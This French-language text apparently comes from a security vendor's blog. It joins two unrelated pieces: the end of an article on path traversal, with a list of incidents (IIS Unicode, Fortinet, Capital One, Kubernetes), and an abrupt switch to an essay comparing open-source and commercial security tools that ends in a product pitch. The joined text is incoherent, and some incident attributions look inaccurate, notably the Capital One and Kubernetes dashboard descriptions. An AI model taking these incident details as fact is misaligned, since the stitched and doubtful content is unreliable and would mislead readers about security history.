La traversée de chemin est une vulnérabilité présente depuis le début des applications web et, bien qu'elle soit souvent assez simple, elle peut aussi être très dévastatrice. C'est pourquoi il est très préoccupant de constater qu'un pourcentage aussi élevé de projets est encore confronté à ce type de problèmes. Bien que 3,5 % ne semble pas être un chiffre élevé, il est tout à fait remarquable qu'il gagne en popularité en dépit de sa menace continue et bien documentée.

La traversée de chemin n'est pas une vulnérabilité qui va disparaître, mais la bonne nouvelle est qu'il existe des moyens clairs de trouver ces vulnérabilités dans notre application et de remédier à tous les problèmes que nous trouvons.

Contenu bonus

Incidents réels

Ces dernières années, plusieurs brèches ou vulnérabilités très médiatisées ont impliqué la traversée d'un chemin, soit comme point d'entrée principal, soit comme élément d'une chaîne de vulnérabilités

Exploit Microsoft IIS Unicode (2001)

L'un des premiers exploits de traversée de chemin très médiatisés ciblant les serveurs Microsoft IIS. Les attaquants utilisaient des chemins encodés pour contourner les mécanismes de validation (par exemple, en utilisant des %c0%af représenter /). Cela leur a permis d'accéder à des fichiers situés en dehors du répertoire racine du site web et de les exécuter.

Cela a permis de déployer des logiciels malveillants et de défigurer de nombreux sites web.

Traversée de chemin VPN Fortinet (2019)

Le VPN SSL de Fortinet présente une vulnérabilité de traversée de répertoire (CVE-2018-13379). Les attaquants ont exploité cette faille pour accéder à des fichiers système sensibles, tels que les mots de passe en clair des utilisateurs du VPN.

Des milliers d'identifiants VPN ont été divulgués en ligne, exposant les organisations à des accès non autorisés et à d'autres attaques.

Violation de Capital One (2019)

Ce qui s'est passé: Bien que la cause principale soit une vulnérabilité SSRF, l'attaquant a également exploité la traversée de répertoire en accédant aux métadonnées des seaux AWS S3. L'attaquant a exploité des configurations erronées pour récupérer des fichiers de configuration qui auraient dû être inaccessibles.

Les données personnelles de 106 millions de demandeurs de cartes de crédit ont ainsi été exposées.

Traversée de chemin dans le tableau de bord de Kubernetes (2020)

Le tableau de bord Kubernetes présentait une faille de traversée de répertoire (CVE-2020-8563). Les attaquants l'exploitent pour lire des fichiers sensibles dans le conteneur, y compris les secrets stockés dans le répertoire /etc.

Lorsqu'il s'agit de décider de l'approche à adopter en matière d'outils de sécurité, il semble que deux choix s'offrent à nous.

1. Vendez votre rein gauche et achetez la solution d'entreprise dont le nom figure sur le flanc d'une voiture de Formule 1.

2. Choisissez l'outil gratuit à code source ouvert qui élimine plus de faux positifs qu'une application de rencontres lors d'un vendredi soir solitaire.

Comme pour tout ce qui touche à la sécurité, il y a beaucoup à découvrir en réalité. Dans cet article, je souhaite examiner dans quelles circonstances il convient d'utiliser des outils de sécurité open-source, quand les outils commerciaux sont plus efficaces et si nous pouvons faire confiance aux outils construits à partir d'un noyau open-source.

Construire ou acheter (le piège du coût des logiciels libres)

Au fur et à mesure que votre entreprise grandit, vous vous rendrez compte que le choix entre open-source et commercial est plus un choix entre la construction d'outils ou l'achat d'outils. Les logiciels libres constituent un excellent point de départ, mais il leur manque de nombreuses fonctionnalités dont vous avez besoin : tableaux de bord, intégrations, rapports de conformité, flux de travail de remédiation, filtrage des faux positifs et hiérarchisation des vulnérabilités, pour n'en citer que quelques-unes. L'idée que les logiciels libres sont gratuits n'est donc tout simplement pas vraie. Cela peut toutefois être un avantage, car en construisant au fur et à mesure, vous réduisez l'investissement initial et vous pouvez vous concentrer sur les fonctionnalités qui sont importantes pour vous. Cela signifie que vous ne dépendez pas d'un fournisseur pour obtenir la fonctionnalité qu'il a "promis" d'offrir au troisième trimestre il y a deux ans.

Il y a beaucoup d'inconvénients à prendre en compte lorsqu'il s'agit de construire à partir d'outils open-source. Tout d'abord, non seulement il faudra beaucoup de temps de développement pour mettre au point ces outils, mais il faudra aussi en assurer la maintenance en permanence. Les outils de sécurité peuvent également bloquer la production lorsqu'ils sont intégrés dans des éléments tels que les pipelines CI/CD par exemple. Cela signifie que lorsqu'ils tombent en panne ou se bloquent, ils peuvent entraîner des pertes de productivité sans aucun support pour vous aider à revenir en ligne.

Qu'en est-il alors de l'option d'achat ? Tout d'abord, il n'y a pas de période de montée en puissance, vous bénéficiez d'une couverture complète dès le début, ce qui réduit la dette de sécurité par la suite. Vous ne perdez pas non plus le coût d'opportunité lié à l'éloignement des équipes d'ingénieurs de vos objectifs principaux pour se concentrer sur la création de fonctionnalités pour des outils internes. Dans le monde rapide des startups, ne sous-estimez pas la valeur de cette approche.

Logiciel libre ou logiciel commercial

Les outils commerciaux sont-ils plus performants en matière de découverte de vulnérabilités ?

Jusqu'à présent, nous avons parlé de toutes les caractéristiques de l'outil sans même poser l'une des questions les plus importantes. Qu'est-ce qui permet de trouver le plus de vulnérabilités ? D'une manière générale, les fonctionnalités de base des outils open-source sont souvent équivalentes à celles de leurs homologues commerciaux en ce qui concerne leur capacité à trouver des vulnérabilités. Les outils commerciaux se distinguent toutefois par leur capacité à filtrer les faux positifs et à hiérarchiser leurs résultats.

Il s'agit très souvent d'outils commerciaux construits sur des projets open-source. Prenons l'exemple de Zen by Aikido, un pare-feu intégré complet conçu pour arrêter les menaces au moment de l'exécution. Est-il meilleur pour détecter les menaces au moment de l'exécution et les arrêter qu'un équivalent open-source ? Pas vraiment, car il est basé sur un projet open-source, AikidoZen. La valeur de la version entreprise réside dans ses fonctionnalités supplémentaires telles que l'analyse, la création de règles, la compréhension approfondie de vos menaces spécifiques et la facilité de déploiement, toutes choses que vous devriez construire vous-même si vous utilisiez la version open-source dans une entreprise. Le logiciel libre n'est donc pas nécessairement plus mauvais, il lui manque simplement l'étape suivante du triage.

Remarque : l'évaluation comparative des outils par rapport aux vulnérabilités détectées peut également s'avérer très délicate. Un excellent outil de sécurité peut trouver moins de vulnérabilités parce qu'il est plus apte à éliminer les faux positifs en fonction du contexte. Par conséquent, le meilleur outil n'est pas toujours celui qui trouve le plus de vulnérabilités ; le plus souvent, c'est l'inverse.

Développé à partir de logiciels libres conçus pour les entreprises

L'open-source représente trop de développement et le commercial est trop cher, pourquoi pas un juste milieu? Les outils complets qui utilisent l'open-source à la base ne sont pas un nouveau concept. Certains des produits de sécurité les plus performants au monde sont basés sur des logiciels libres, comme Hashicorp Vault, Elastic Security et Metaploit, pour n'en citer que quelques-uns. Il y a de nombreuses raisons pour lesquelles ces outils fonctionnent si bien et ce n'est probablement pas pour les raisons que vous pensez.

Rapport coût-efficacité

Les outils à code source ouvert ne doivent pas seulement rivaliser avec les outils commerciaux alternatifs, ils doivent aussi rivaliser avec leur base à code source ouvert. Cela signifie que leur valeur doit être prouvée et transparente, ce qui se traduit souvent par une offre plus rentable.

Le pouvoir de la communauté

Souvent, les outils open-source sont maintenus et construits par des sociétés commerciales, comme Aikido Zen. Les outils basés sur des logiciels libres ne le sont pas seulement pour réduire le temps de développement, mais aussi parce que les fondateurs croient fondamentalement au pouvoir des logiciels libres. Les outils open-source sont souvent plus rapides à développer des fonctionnalités parce qu'ils sont soutenus par une communauté, ce qui signifie également que si vous avez un problème spécifique et de niche, vous pouvez l'introduire vous-même dans l'outil.

Transparence

Souvent, l'achat d'outils commerciaux est un peu comme l'achat d'une voiture sans en voir le moteur. Quelle est sa qualité et sa fiabilité à long terme ? Il est plus facile de dissimuler les faiblesses d'un outil lorsque personne ne peut en voir le moteur. Les outils à code source ouvert ne peuvent pas cacher leur moteur, il est donc plus facile d'avoir confiance dans l'outil lui-même.

Caractéristiques commerciales

Comme nous l'avons déjà dit, un outil à code source ouvert étant souvent en concurrence avec des outils commerciaux et des outils à code source ouvert, il doit être fier de ses fonctionnalités supplémentaires. Il s'agit de tout ce que vous attendez d'un outil commercial, mais souvent bien plus. Comme le produit bénéficie d'une base open-source bien définie, l'attention peut être portée sur les améliorations qui sont finalement répercutées sur l'utilisateur final.

Alors, que choisir (réflexions finales)

Nous avons discuté des avantages des outils de sécurité à code source ouvert, des outils commerciaux et des outils à code source ouvert. Je pense qu'il est clair, d'après mon ton, qu'en tant qu'auteur, j'aime la communauté open-source et je pense que les outils à code source ouvert sont un compromis sur le prix sans compromis sur les fonctionnalités. Il est bien sûr idiot de dire qu'il n'y a aucune raison pour que, dans certains scénarios, une version purement commerciale soit meilleure. Il existe d'excellentes solutions innovantes qui sont entièrement fermées. Mais ce que je veux dire en définitive, c'est que ce n'est pas parce qu'un produit est basé sur un projet à code source ouvert qu'il fera des compromis en termes de capacités ou de fonctionnalités. Et parce qu'il doit prouver sa valeur en toute transparence, il offre souvent des fonctionnalités et une valeur plus importantes.

Aikido Security a été créé par des développeurs pour des développeurs afin de faciliter la mise en œuvre de la sécurité. Nous sommes fiers de notre héritage open-source et nous serions ravis que vous veniez le voir en action par vous-même.

Démarrer avec Aikido Security gratuitement